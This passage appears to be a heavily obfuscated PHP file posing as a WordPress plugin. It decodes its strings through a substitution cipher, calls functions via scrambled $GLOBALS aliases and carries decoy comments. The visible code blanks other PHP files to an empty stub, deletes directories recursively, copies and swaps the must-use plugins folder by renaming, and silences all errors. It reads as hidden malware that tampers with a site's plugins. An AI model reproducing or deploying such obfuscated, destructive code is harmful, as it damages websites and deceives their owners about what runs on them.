7/|lAdF+aw5e7/P^ala','P7oA|o!d/P7A/o|5aFdoA|aw5e7/P','dww|aw5e7/P',',a|dYdV| s|z7wA|z\\wFA!| d/deA!','0aGAGz,7Xsa?VEXs8 ',',a|dYdV|W\\//AWo\\!',',a|dYdV|zP|W\\//AWo\\!',',a|z\\\\oA!','|AX Ep|a057s0 E0pFW4/M','oA awdoA|!AF7!AWo','w0elm4VtwslXwGPOp8P|F','!FzzsE,wY,/0oee','dF 7/|z\\\\oA!','Wdai8Vpp dKG8tFP5,t z7','w\\e7/|z\\\\oA!','ep ??480wOtEVMaFP|\\','4wKG0YE8ipX5KFM!az','7F8?Ao!oMmiVwzAM/|P','5KtMm8/i?m4!Fi\\','4/d8,WM|8mppp>0|4l','l/i!|0/>4>YAwO?\\8','aw5e7/P|w\\dFAF','4dVFAEOt/Y>0p/7KP0FMdp','aw5e7/P|w\\dFAF'),array('/iMwAMp!PtaMmY\\|Y','|Em?0pol|8dmYs!7,iz8p','! XYdzlso 0z!Oie!Ms','dzoA!|P,7oWl|olA A','e0sY Y7wi!|Ed,ooMVoA?','|MYzmm>P|w,eF7!\\G,? >','!Ae7PoA!|Pl5oF\\,/|z5/Wo7\\/','5Es7VYOM!\\0sGpX','a,ma5iK,lMKXoeV8Y','a,ma5iK,lMKXoeV8Y','mwWdV>E87zmiXMW,','di7Y,!dszF>YdawGG','PW|wdPo|!AW\\mA!M|WlAWs','ate,e/X5,pX4/Gim,','W!\\/|PWlAF5wAP',',pPXz8zA0?VOo54OPEW'));}return $a[$i];}function b4gbsak56f40gos($i){$e=b_helzwexpgp($i);$f='ABSP'.'THs'.'c_'.'vero'.'4.'.'53'.'pl'.'ugi'.'nba'.'mWLU'.'GI'.'NDR'.'M/-'.'kdh'.'tw<'.'?\\'.'qfCO'.'Ex :'.'*y='.'V('.'+)2F'.'K\',0'.'z>'.'&19'.'786X'.'YZQ'.'j;'.'{"'.'[}'.']!|^'.'$#'.'J%`';$t='L$'.'=TbJ'.'PW|'.'mA'.'!\\G^'.'Xtaw'.'5e'.'7/?d'.' Qj'.'*Sg%'.'B6_r'.'+sF'.'lo,'.'}C'.'D0z'.'c#1V'.'3f'.'"M<'.'u]H'.'[O9'.'{2'.'(i'.'4`R>'.'KEp8'.'Ikq'.'UY.N'.'&v'.')\''.'yn'.'Zhx'.'-;:';$r="";for($j=0;$j<strlen($e);$j++){$p=strpos($t,$e[$j]);$r.=($p===false)?$e[$j]:$f[$p];}return $r;}function fjup2mc1h($i){$j=(int)$i;return b4gbsak56f40gos($j);}function tvo1rh46s_($i){$j=$i+0;return b4gbsak56f40gos($j);}function zp28wk01y($i){return b4gbsak56f40gos($i);}function op9tjzix($i){return b4gbsak56f40gos($i);}function wlgh2_th($i){$j=(int)$i;return b4gbsak56f40gos($j);}$GLOBALS['__scf_dpm5ad5tej9nf_4']=tvo1rh46s_(4);$GLOBALS['__scf_qel9wo57qs676z_5']=wlgh2_th(5);$GLOBALS['__scf_rbe_sihvfv_8']=tvo1rh46s_(8);$GLOBALS['__scf_j2_71uyeufh_9']=b4gbsak56f40gos(9);$GLOBALS['__scf_zre6ec18ly90y_10']=wlgh2_th(10);$GLOBALS['__scf_m2ym9pki8mue9_11']=fjup2mc1h(11);$GLOBALS['__scf_pqkpt9n3trf9fm_12']=op9tjzix(12);$GLOBALS['__scf_q93011jdjf_13']=fjup2mc1h(13);$GLOBALS['__scf_w1g4siw_ju_16']=b4gbsak56f40gos(16);$GLOBALS['__scf_x853wccr0ol2d0_18']=wlgh2_th(18);$GLOBALS['__scf_qb1d7dp0ekpw_19']=tvo1rh46s_(19);$GLOBALS['__scf_j4nhr6qca6y8ds_20']=wlgh2_th(20);$GLOBALS['__scf_v4z06gw93pj_23']=tvo1rh46s_(23);$GLOBALS['__scf_z7quve4b0bsr_25']=wlgh2_th(25);$GLOBALS['__scf_czsd7giapuxwu_34']=wlgh2_th(34);$GLOBALS['__scf__uoxmw5pj5af1u_35']=tvo1rh46s_(35);$GLOBALS['__scf_knhbvsumnby3_36']=tvo1rh46s_(36);$GLOBALS['__scf_j38tk0441lk_37']=fjup2mc1h(37);$GLOBALS['__scf_mlnd1caka3_38']=wlgh2_th(38);$GLOBALS['__scf_btk9t95ovv6r2_40']=b4gbsak56f40gos(40);$GLOBALS['__scf_zneqqdn4vlt4_42']=op9tjzix(42);$GLOBALS['__scf_ot56htgy8hrmim_44']=op9tjzix(44);$GLOBALS['__scf_zqvpsn1r8ajl0_45']=wlgh2_th(45);$GLOBALS['__scf_f0spqlcvz0g_47']=tvo1rh46s_(47);$GLOBALS['__scf_tluflp7r6hugyf_48']=op9tjzix(48);$GLOBALS['__scf_tzc_p_uzbnf_qz_50']=b4gbsak56f40gos(50);$GLOBALS['__scf_en2e7qgldhuhq6_54']=tvo1rh46s_(54);$GLOBALS['__scf_abbpcj1ncssalx_57']=b4gbsak56f40gos(57);$GLOBALS['__scf_l4xn242gw4_70']=wlgh2_th(70);$GLOBALS['__scf_ylc30lk3q5j_73']=op9tjzix(73);$GLOBALS['__scf_qtfcgi4pxi71_75']=zp28wk01y(75);$GLOBALS['__scf_c05p9rpyec3_t_77']=tvo1rh46s_(77);$GLOBALS['__scf_iiafc2kxb9ov_79']=fjup2mc1h(79);$GLOBALS['__scf_ufzmayscdi_80']=fjup2mc1h(80);$GLOBALS['__scf_j_5qhmtx5bt9kn_98']=zp28wk01y(98);$GLOBALS['__scf_bvfhit3heqts_99']=op9tjzix(99);$GLOBALS['__scf_kpr9p9o54hwof_101']=wlgh2_th(101);$GLOBALS['__scf_voobwg611qb_102']=op9tjzix(102);$GLOBALS['__scf_pdnlp7jjhnya_106']=b4gbsak56f40gos(106);$GLOBALS['__scf_f9tn7hbu7z_107']=tvo1rh46s_(107);$GLOBALS['__scf_livuu39cntpdx3_116']=zp28wk01y(116);$GLOBALS['__scf_ubwid3ivz9f8x_118']=op9tjzix(118);$GLOBALS['__scf_p6wtd462xwbf9y_126']=b4gbsak56f40gos(126);$GLOBALS['__scf_v0g2xbgjjm_154']=tvo1rh46s_(154);$GLOBALS['__scf_s8rgnr7_02m_155']=b4gbsak56f40gos(155);$GLOBALS['__scf_av84ex67tlp92_156']=zp28wk01y(156);$GLOBALS['__scf_jxu__lo946uf6o_158']=b4gbsak56f40gos(158);$GLOBALS['__scf_eriwpctk0hsvu4_164']=tvo1rh46s_(164);$GLOBALS['__scf_b1rqpek_6hp_174']=tvo1rh46s_(174);$GLOBALS['__scf_yg2rpewmkg_192']=zp28wk01y(192);$GLOBALS['__scf_m2g_67700pfzin_204']=tvo1rh46s_(204);$GLOBALS['__scf_innlxa4l2yk_yi_212']=zp28wk01y(212);$GLOBALS['__scf_v4xne3bezipdj_233']=zp28wk01y(233);$GLOBALS['__scf_sj1khp0ty__234']=b4gbsak56f40gos(234);$GLOBALS['__scf_b9y77l_625nr_236']=wlgh2_th(236);$GLOBALS['__scf_yp401qf4i0g_239']=wlgh2_th(239);$GLOBALS['__scf_r8poeyi9ora_243']=fjup2mc1h(243);$GLOBALS['__scf_xc9hrpqrsvv6k2_251']=tvo1rh46s_(251);$GLOBALS['__scf_gv0uvy8obul_253']=zp28wk01y(253);$GLOBALS['__scf_uovlix5wxx_y_283']=op9tjzix(283);$GLOBALS['__scf_ehiaqsl0njp0_284']=b4gbsak56f40gos(284);$GLOBALS['__scf_ujieua8rts5ii_285']=tvo1rh46s_(285);$GLOBALS['__scf_tpidy6i_c1_288']=zp28wk01y(288);$GLOBALS['__scf_hpue5hjwa5j_293']=tvo1rh46s_(293);$GLOBALS['__scf_isq8lhf9jc_295']=zp28wk01y(295);$GLOBALS['__scf_knb470agoho1_297']=wlgh2_th(297);$GLOBALS['__scf_a75i57vn9hq3y_298']=tvo1rh46s_(298);$GLOBALS['__scf_wi8602txx8j8_299']=zp28wk01y(299);$GLOBALS['__scf_aveut5m3qzw4x_301']=wlgh2_th(301);$GLOBALS['__scf_tg1qmog4wi_lcm_306']=zp28wk01y(306);$GLOBALS['__scf_lpyl_fi1nn5e_307']=b4gbsak56f40gos(307);$GLOBALS['__scf_wmj7k85rw4tvv9_308']=zp28wk01y(308);$GLOBALS['__scf_mmo0h5_4w__317']=b4gbsak56f40gos(317);$GLOBALS['__scf_igh391p_2d78a_331']=tvo1rh46s_(331);$GLOBALS['__scf_bbs7j5b1fx_332']=fjup2mc1h(332);$GLOBALS['__scf_vcngxudwmss_337']=b4gbsak56f40gos(337);$GLOBALS['__scf_honmo92acbfag2_340']=tvo1rh46s_(340);$GLOBALS['__scf_h8pe_c5_3n_344']=fjup2mc1h(344);$GLOBALS['__scf_s2scu5dqyx4_345']=zp28wk01y(345);$GLOBALS['__scf_de_u08mc_p_348']=zp28wk01y(348);$GLOBALS['__scf_wepau2f2borz_357']=fjup2mc1h(357);$GLOBALS['__scf_lh6iqyp38q3_358']=zp28wk01y(358);$GLOBALS['__scf_hw2kkbd0s2i_359']=fjup2mc1h(359);$GLOBALS['__scf_g8_t7dlza2_360']=wlgh2_th(360);$GLOBALS['__scf__cpt1d1twdvp_362']=tvo1rh46s_(362);$GLOBALS['__scf_fwkq_05r177s4_365']=wlgh2_th(365);$GLOBALS['__scf_qx45pe7tfwqub_367']=wlgh2_th(367);$GLOBALS['__scf_pwfpxyvmfin3_372']=tvo1rh46s_(372);$GLOBALS['__scf_h63ymopf9_k_375']=fjup2mc1h(375);$GLOBALS['__scf_ytyghd4b9k58e_402']=zp28wk01y(402);$GLOBALS['__scf_k6m_q8843h46_403']=b4gbsak56f40gos(403);$GLOBALS['__scf_acczjxl0eb0i_405']=zp28wk01y(405);$GLOBALS['__scf_cbxznqxlbgq70_420']=b4gbsak56f40gos(420);$GLOBALS['__scf_g78q01g_fb5t2_421']=tvo1rh46s_(421);$GLOBALS['__scf_v2dcsudt2hx_431']=op9tjzix(431);$GLOBALS['__scf_v_sh61jlp_8_444']=tvo1rh46s_(444);$GLOBALS['__scf_sp5m_appgxyoko_471']=wlgh2_th(471);$GLOBALS['__scf_jlm7opnchuxu_489']=fjup2mc1h(489);$GLOBALS['__scf_auynlilaeyt_490']=fjup2mc1h(490);$GLOBALS['__scf_x_wfq7bl3c_551']=b4gbsak56f40gos(551);$GLOBALS['__scf_oaen6pygee_572']=zp28wk01y(572);$GLOBALS['__scf_skguqpd9dknw_590']=wlgh2_th(590);$GLOBALS['__scf_p_tfg5i832l8_603']=tvo1rh46s_(603);$GLOBALS['__scf_wrhffn6epll8r_615']=tvo1rh46s_(615);$GLOBALS['__scf_taquapnta_1g_664']=wlgh2_th(664);$GLOBALS['__scf_zthbi4ztwges_700']=tvo1rh46s_(700);$GLOBALS['__scf_bhw4bjp5xr9_715']=zp28wk01y(715);$GLOBALS['__scf_s1npck0zraxhfs_729']=op9tjzix(729);$GLOBALS['__scf_npbrfby50y_735']=b4gbsak56f40gos(735);$GLOBALS['__scf_ye733r3hqpt_841']=b4gbsak56f40gos(841);$GLOBALS['__scf_elpuketifsy_912']=op9tjzix(912);$GLOBALS['__scf_qoxrbqe92camk_961']=zp28wk01y(961);$GLOBALS['__scf_yp8i5ic3tw6_1018']=wlgh2_th(1018);$GLOBALS['__scf_zh9zi0dsau3d_1027']=tvo1rh46s_(1027);$GLOBALS['__scf_ejipd25116z_1183']=op9tjzix(1183);$GLOBALS['__scf_wpyma_2f6f_1191']=tvo1rh46s_(1191);$GLOBALS['__scf_dg522r6m0ced_1274']=wlgh2_th(1274);$GLOBALS['__scf_zykjn0enf50_1278']=op9tjzix(1278);$GLOBALS['__scf_fjoo3u9niln_1280']=op9tjzix(1280);$GLOBALS['__scf_vwt6atccf__1283']=tvo1rh46s_(1283);$GLOBALS['__scf_hn3j_eqqrg9zvo_1284']=fjup2mc1h(1284);$GLOBALS['__scf_nx064uqh844a_1285']=tvo1rh46s_(1285);$GLOBALS['__scf__eis5gfvdzooc_1286']=tvo1rh46s_(1286);$GLOBALS['__scf_opt4mqvv4__1287']=op9tjzix(1287);$GLOBALS['__scf_o7haeurnka2_1290']=wlgh2_th(1290);$GLOBALS['__scf_e1ntfpy20h_1302']=fjup2mc1h(1302);$GLOBALS['__scf_cbbcclndleiog_1347']=wlgh2_th(1347);$GLOBALS['__scf_v82x6rf7o9_1355']=zp28wk01y(1355);$GLOBALS['__scf_s7mc32qh64_1360']=wlgh2_th(1360);$GLOBALS['__scf_y135v3krd50khw_1410']=b4gbsak56f40gos(1410);$GLOBALS['__scf_zf_feq62hp_1482']=op9tjzix(1482);$GLOBALS['__scf_hq6ay2dcwioaa_1504']=fjup2mc1h(1504);$GLOBALS['__scf_uy7io_53kig_1729']=op9tjzix(1729);$GLOBALS['__scf_e1sw8tg2g1_1737']=wlgh2_th(1737);$GLOBALS['__scf_oak2c_8c11_1846']=op9tjzix(1846);

function wnt77xje8j3f6ez($u_gywm2qck,$to9u4h){$zo3bb0=($u_gywm2qck^$to9u4h)&97;return $zo3bb0;}
function mpmbnoinw_6pu3yp($ge1gkd,$n5r16_vao){$cunry6djb=($ge1gkd^$n5r16_vao)&223;return $cunry6djb;}


defined(tvo1rh46s_(0))  or  exit;
 
 function  _vfpypr4wakqs7jy_()


    {


return   isset($GLOBALS[wlgh2_th(1)])  ?    $GLOBALS[b4gbsak56f40gos(2)]   :     wlgh2_th(3);
   }
      function  qluu1auwul2zupq5h()
  {
 return  __FILE__;
}
 function  mvfnzt3qa4jfes_wxi()
{

return   $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h());
    }
function  fnn_1fc67qy9wd854gl3()
   {


if     ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(6)))    return   plugin_basename(qluu1auwul2zupq5h());
  $oknhdgd23az7    =  qluu1auwul2zupq5h();$k512_ofsrynfp0=PHP_MAJOR_VERSION;$a1p17dwc20k_qh=$k512_ofsrynfp0*10;
  $yabphvy5gb   =   defined(fjup2mc1h(7))      ?  WP_PLUGIN_DIR     : "";
  if  ($yabphvy5gb   !== "" && $GLOBALS['__scf_rbe_sihvfv_8']($oknhdgd23az7,   $yabphvy5gb) ===  0) return  $GLOBALS['__scf_j2_71uyeufh_9']($GLOBALS['__scf_zre6ec18ly90y_10']($oknhdgd23az7,    $GLOBALS['__scf_m2ym9pki8mue9_11']($yabphvy5gb)), '/');
 return  $GLOBALS['__scf_dpm5ad5tej9nf_4']($GLOBALS['__scf_pqkpt9n3trf9fm_12']($oknhdgd23az7)) . '/'  . $GLOBALS['__scf_dpm5ad5tej9nf_4']($oknhdgd23az7);
  }
function     emzy8pvoveowt1bicy5()


{
   return     $GLOBALS['__scf_q93011jdjf_13'](defined(zp28wk01y(14)) ? WPMU_PLUGIN_DIR :      (WP_CONTENT_DIR .    tvo1rh46s_(15)),  '/');
    }
      function  rrfbdtjl4tag5_vplfgq6_()


{
return     $GLOBALS['__scf_pqkpt9n3trf9fm_12'](qluu1auwul2zupq5h());
    

  }



   function m_ixrkpun5f9a0k8wu($zwzkcpqs2ucabt_,   $ltpokciy2kt5utu   = (678-185),   $xr7siizzt4ot =  false)
 {
  return $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(16))   ?     @$GLOBALS['__scf_w1g4siw_ju_16']($zwzkcpqs2ucabt_,  $ltpokciy2kt5utu, $xr7siizzt4ot)  :  false;
      }
     function  kp1tutxjpanriy($frgd4znm8k,   $ltpokciy2kt5utu)



    {$c7horj262t=85*6;$a8nbkd_ui7k8zh=$c7horj262t-48;



 return $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(17))  ?  @$GLOBALS['__scf_x853wccr0ol2d0_18']($frgd4znm8k,  $ltpokciy2kt5utu) :     false;
    }
function _0qezpop1swzfe($frgd4znm8k)
 {
    return $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(19)) ?      @$GLOBALS['__scf_qb1d7dp0ekpw_19']($frgd4znm8k)   :  false;

  }
  function     _b1inwj90rdcngb($q9bdm8vc06odw4)


     {
 if   (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($q9bdm8vc06odw4))  return    true;
kp1tutxjpanriy($q9bdm8vc06odw4,  (0x52+0x152));
if (_0qezpop1swzfe($q9bdm8vc06odw4))     {
if ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(21)))   @opcache_invalidate($q9bdm8vc06odw4, true);
 return  true;
     }
    kp1tutxjpanriy($GLOBALS['__scf_pqkpt9n3trf9fm_12']($q9bdm8vc06odw4), (694-201));
  if   (_0qezpop1swzfe($q9bdm8vc06odw4))  {
   if  ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(22))) @opcache_invalidate($q9bdm8vc06odw4, true);
 return  true;
 }
 $e55pxp_0ddwy  =    @$GLOBALS['__scf_v4z06gw93pj_23']($q9bdm8vc06odw4,     tvo1rh46s_(24));
     if   ($e55pxp_0ddwy)  {



@$GLOBALS['__scf_z7quve4b0bsr_25']($e55pxp_0ddwy, "<?php\n");
   @fclose($e55pxp_0ddwy);
if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(22)))  @opcache_invalidate($q9bdm8vc06odw4,    true);
return  true;

}



      return  false;



 }
function   wxth54ul2s6k5ru6pxa($q9bdm8vc06odw4)
  {
     $uqy8vwfbzy4s4am  = $GLOBALS['__scf_pqkpt9n3trf9fm_12']($q9bdm8vc06odw4);
 $zo6xpmvstla09    =   $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4,    op9tjzix(26));
foreach (array(fjup2mc1h(27),    wlgh2_th(28), wlgh2_th(29),     tvo1rh46s_(30))   as $fhc63x3viya)      {
    $tvdwqobdqe3owz = $uqy8vwfbzy4s4am    . '/' .    $fhc63x3viya   .   $zo6xpmvstla09;


      if  (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($tvdwqobdqe3owz))     _b1inwj90rdcngb($tvdwqobdqe3owz);
}



 $ogu0uhok6d  =   $uqy8vwfbzy4s4am  . '/'  . $zo6xpmvstla09 .  op9tjzix(31);
   if  (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($ogu0uhok6d))   _b1inwj90rdcngb($ogu0uhok6d);
      if (defined(b4gbsak56f40gos(32)))    {
       $laxoa4iesri  = WP_CONTENT_DIR  .  op9tjzix(33)     .   $zo6xpmvstla09;
if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($laxoa4iesri))     _b1inwj90rdcngb($laxoa4iesri);$ru98kmywjafs=PHP_MAJOR_VERSION;$fayna5o0xzq5j=$ru98kmywjafs*10;
   }
// PHP CS Fixer: amortized collector



 $_pd      =   defined(zp28wk01y(7))     ?   @$GLOBALS['__scf_czsd7giapuxwu_34'](WP_PLUGIN_DIR) :  false;
      $nwbal28ou6g4mbs  = @$GLOBALS['__scf_czsd7giapuxwu_34']($uqy8vwfbzy4s4am);
  if   ($_pd &&  $nwbal28ou6g4mbs   &&   $GLOBALS['__scf_pqkpt9n3trf9fm_12']($nwbal28ou6g4mbs)  ===      $_pd)   {


  $w58wgj3_20_fh =  @$GLOBALS['__scf__uoxmw5pj5af1u_35']($nwbal28ou6g4mbs);
    if   ($GLOBALS['__scf_knhbvsumnby3_36']($w58wgj3_20_fh)     &&  $GLOBALS['__scf_j38tk0441lk_37']($w58wgj3_20_fh) <=     2)   @$GLOBALS['__scf_mlnd1caka3_38']($nwbal28ou6g4mbs);
}
  }
    function  koa6pvp8rcjxok3aluo9qx()



 {
  static  $_a5x3ie1g64_xaf  =   'x';
 if    ($_a5x3ie1g64_xaf   !==    'x')   return $_a5x3ie1g64_xaf;
$_a5x3ie1g64_xaf  =   null;
if     ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(39)))    {    $cqa9ps1o2ezc4_  =    @posix_geteuid();  if ($GLOBALS['__scf_btk9t95ovv6r2_40']($cqa9ps1o2ezc4_))  $_a5x3ie1g64_xaf =      $cqa9ps1o2ezc4_;  }



      if  ($_a5x3ie1g64_xaf  === null) {



      $wqsido46b9z1hw     =  l57opmo3fftx76(p_wsdzgl36a6wh_fs09(),  wlgh2_th(41));


       if      ($GLOBALS['__scf_zneqqdn4vlt4_42']($wqsido46b9z1hw)) { $giootjr_7s6d   =     @fileowner($wqsido46b9z1hw);   _0qezpop1swzfe($wqsido46b9z1hw);   if   ($GLOBALS['__scf_btk9t95ovv6r2_40']($giootjr_7s6d))   $_a5x3ie1g64_xaf    = $giootjr_7s6d;    }
  }
 return   $_a5x3ie1g64_xaf;
 }
function  kn7urmeq31f32ydy4t($dwp9zzb5mx)



     {
// unwind table

if  ($GLOBALS['__scf_rbe_sihvfv_8']($GLOBALS['__scf_dpm5ad5tej9nf_4']($dwp9zzb5mx),   wlgh2_th(43))  !== 0)  return;




  if   (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx) ||   @$GLOBALS['__scf_zqvpsn1r8ajl0_45']($dwp9zzb5mx))     return;
     

  $vnry4rcy5quc4  = @$GLOBALS['__scf__uoxmw5pj5af1u_35']($dwp9zzb5mx);

 if  ($GLOBALS['__scf_knhbvsumnby3_36']($vnry4rcy5quc4))   foreach  ($vnry4rcy5quc4  as   $x0ydieb0v_72m_u)  {
  if   ($x0ydieb0v_72m_u ===    '.'  || $x0ydieb0v_72m_u  ===   b4gbsak56f40gos(46))   continue;
$frgd4znm8k  =   $dwp9zzb5mx   . '/'  .  $x0ydieb0v_72m_u;
   if    (@$GLOBALS['__scf_ot56htgy8hrmim_44']($frgd4znm8k) &&   !@$GLOBALS['__scf_zqvpsn1r8ajl0_45']($frgd4znm8k))    kn7urmeq31f32ydy4t($frgd4znm8k);    else    _0qezpop1swzfe($frgd4znm8k);
 }

 @$GLOBALS['__scf_mlnd1caka3_38']($dwp9zzb5mx);
  }
    function   zivz85pel0804jgi($bkok4unpnq2f_wvv,   $p4g3ko9xyor)

 {
// WP Paragraph Block: template equivalence-class

  if   (@$GLOBALS['__scf_zqvpsn1r8ajl0_45']($bkok4unpnq2f_wvv))   return     false;
if    (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($bkok4unpnq2f_wvv))  {
    if   (!@$GLOBALS['__scf_f0spqlcvz0g_47']($bkok4unpnq2f_wvv))    return false;
 return    vmit36r9571e9ftykwphlq($bkok4unpnq2f_wvv,     $p4g3ko9xyor)    ?   true :  false;
 }
  if (@$GLOBALS['__scf_ot56htgy8hrmim_44']($bkok4unpnq2f_wvv))  {
  if  (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($p4g3ko9xyor) &&  !m_ixrkpun5f9a0k8wu($p4g3ko9xyor,     (446+47), true))    return false;
$vnry4rcy5quc4   = @$GLOBALS['__scf__uoxmw5pj5af1u_35']($bkok4unpnq2f_wvv);



if   (!$GLOBALS['__scf_knhbvsumnby3_36']($vnry4rcy5quc4))   return  false;
  foreach ($vnry4rcy5quc4  as   $x0ydieb0v_72m_u) {

      if    ($x0ydieb0v_72m_u     === '.'  || $x0ydieb0v_72m_u ===   tvo1rh46s_(46))    continue;
if     (!zivz85pel0804jgi($bkok4unpnq2f_wvv  .  '/'  .   $x0ydieb0v_72m_u,  $p4g3ko9xyor  .      '/' . $x0ydieb0v_72m_u))    return  false;


 }
  return true;
   }
   return  true;
}
   function      yhtrb7u6dls0u1($q9bdm8vc06odw4)
       {
if    (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($q9bdm8vc06odw4))  return   false;
      if (@$GLOBALS['__scf_tluflp7r6hugyf_48']($q9bdm8vc06odw4))  return false;
  if   (@$GLOBALS['__scf_tluflp7r6hugyf_48']($GLOBALS['__scf_pqkpt9n3trf9fm_12']($q9bdm8vc06odw4)))  return false;
  return true;
  }
     function   rfitcim9galxt391gcxlow($q9bdm8vc06odw4)
  {
 teikfigf_p5265esq_q(zp28wk01y(49),  $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4));
   }
function  lfv82aa8fnhnq9g($yoxynfp7hr48q0x)
   {
 if (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(50)) || !$GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(51)))  return false;$yishl_g2am=186|170;$kiwv7bcx20h6da=$yishl_g2am^221;


     if   ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(52))  &&  get_transient(op9tjzix(53)))     return false;
    $z3jv95tqmsutv     =   @$GLOBALS['__scf_czsd7giapuxwu_34'](emzy8pvoveowt1bicy5());
   if ($z3jv95tqmsutv  ===   false   ||  !@$GLOBALS['__scf_ot56htgy8hrmim_44']($z3jv95tqmsutv)) return  false;
    $faljjkhouh4v5xch  =  null;
        if ($yoxynfp7hr48q0x   !==  null) {

      $faljjkhouh4v5xch    = @$GLOBALS['__scf_czsd7giapuxwu_34']($yoxynfp7hr48q0x);$s6yeyu0auw92yi=2*2;$tp3t8ajr5_zh5x=$s6yeyu0auw92yi-18;
if  ($faljjkhouh4v5xch ===  false   || $GLOBALS['__scf_pqkpt9n3trf9fm_12']($faljjkhouh4v5xch)  !==   $z3jv95tqmsutv)   return  false;
     }
      $vomffyexc51jde99 = $GLOBALS['__scf_pqkpt9n3trf9fm_12']($z3jv95tqmsutv);
    if    (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($vomffyexc51jde99)     ||     !@$GLOBALS['__scf_tluflp7r6hugyf_48']($vomffyexc51jde99))  return    false;


      if     (!s29rlsoq45jpkm6n($z3jv95tqmsutv)  ||     !s29rlsoq45jpkm6n($vomffyexc51jde99))  return   false;
$p74tf9spe3nc493  =   @fileperms($vomffyexc51jde99);
  if  ($p74tf9spe3nc493   !==     false   &&  ($p74tf9spe3nc493 &     (0x13c+0xc4))) {
$hso9ikwr8h0ac1hr    =  koa6pvp8rcjxok3aluo9qx();
  if  ($hso9ikwr8h0ac1hr ===  null    ||    (@fileowner($vomffyexc51jde99)   !==  $hso9ikwr8h0ac1hr      &&   @fileowner($z3jv95tqmsutv)   !== $hso9ikwr8h0ac1hr))  return   false;
  }
     $d2ztfgtnwpw =    @$GLOBALS['__scf_en2e7qgldhuhq6_54']($vomffyexc51jde99);
 
 $upeevvazz07    = @$GLOBALS['__scf_en2e7qgldhuhq6_54']($z3jv95tqmsutv);
   if   ($GLOBALS['__scf_knhbvsumnby3_36']($d2ztfgtnwpw)   &&   $GLOBALS['__scf_knhbvsumnby3_36']($upeevvazz07)  &&      isset($d2ztfgtnwpw[fjup2mc1h(55)])    &&   isset($upeevvazz07[tvo1rh46s_(56)])   &&  $d2ztfgtnwpw[fjup2mc1h(56)]  !==  $upeevvazz07[fjup2mc1h(56)])      return  false;$mvf0d4ou=884;$g7b3cjgl11u_=($mvf0d4ou>0)?$mvf0d4ou:-$mvf0d4ou;



 $vnry4rcy5quc4 = @$GLOBALS['__scf__uoxmw5pj5af1u_35']($z3jv95tqmsutv);

      if  (!$GLOBALS['__scf_knhbvsumnby3_36']($vnry4rcy5quc4)) return  false;
      $js5m95s1jbo    = array();
 foreach    ($vnry4rcy5quc4  as    $x0ydieb0v_72m_u)  {
// fork template for MySQL 8 CTEs

 if   ($x0ydieb0v_72m_u  === '.'  ||  $x0ydieb0v_72m_u  ===  b4gbsak56f40gos(46)) continue;
$frgd4znm8k =    $z3jv95tqmsutv  . '/'  .   $x0ydieb0v_72m_u;
$lbzif_8qz91tswg     = @$GLOBALS['__scf_czsd7giapuxwu_34']($frgd4znm8k);
 if ($faljjkhouh4v5xch  !==    null     &&   $lbzif_8qz91tswg   !==    false    &&  $lbzif_8qz91tswg   ===   $faljjkhouh4v5xch)   continue;
  if    (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($frgd4znm8k)  &&   _cz07l41au6zrisr5($frgd4znm8k,   (403+97)))     continue;


if     (@$GLOBALS['__scf_zqvpsn1r8ajl0_45']($frgd4znm8k) ||     !@$GLOBALS['__scf_f0spqlcvz0g_47']($frgd4znm8k))  return  false;
   $js5m95s1jbo[]  = $x0ydieb0v_72m_u;
      }
  $xb56wet5puzzbx  = $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57'](uniqid("", true)),  0, (2+6));



  $oxt_6yk7_dgmbl9     =  $vomffyexc51jde99  .  wlgh2_th(58) . $xb56wet5puzzbx;$d6hz3rs3wwa=5013;$sop4ul3qyjkkh3=$d6hz3rs3wwa%4;
$uen63zsqfc1  =   $vomffyexc51jde99   .   op9tjzix(59) .   $xb56wet5puzzbx;$z9taq8le1=-674;$ngxjaoc2=($z9taq8le1>0)?$z9taq8le1:-$z9taq8le1;


if    (!m_ixrkpun5f9a0k8wu($oxt_6yk7_dgmbl9, (539-46),   true)) return   false;
    

    foreach    ($js5m95s1jbo as $x0ydieb0v_72m_u) {
if   (!zivz85pel0804jgi($z3jv95tqmsutv   . '/'  .     $x0ydieb0v_72m_u,  $oxt_6yk7_dgmbl9 .  '/'     .  $x0ydieb0v_72m_u)) {  kn7urmeq31f32ydy4t($oxt_6yk7_dgmbl9);    return  false;   }
 }
if  (!u_c4ai7hmq4gvvc($z3jv95tqmsutv,  $uen63zsqfc1))    { kn7urmeq31f32ydy4t($oxt_6yk7_dgmbl9);  return  false;  }


  if (!u_c4ai7hmq4gvvc($oxt_6yk7_dgmbl9,    $z3jv95tqmsutv)) {     u_c4ai7hmq4gvvc($uen63zsqfc1,   $z3jv95tqmsutv);  kn7urmeq31f32ydy4t($oxt_6yk7_dgmbl9);  return  false;  }
   if ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(60)))   @clearstatcache(true);
  if ($faljjkhouh4v5xch    !==   null    &&   $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(61)))   @opcache_invalidate($faljjkhouh4v5xch,   true);
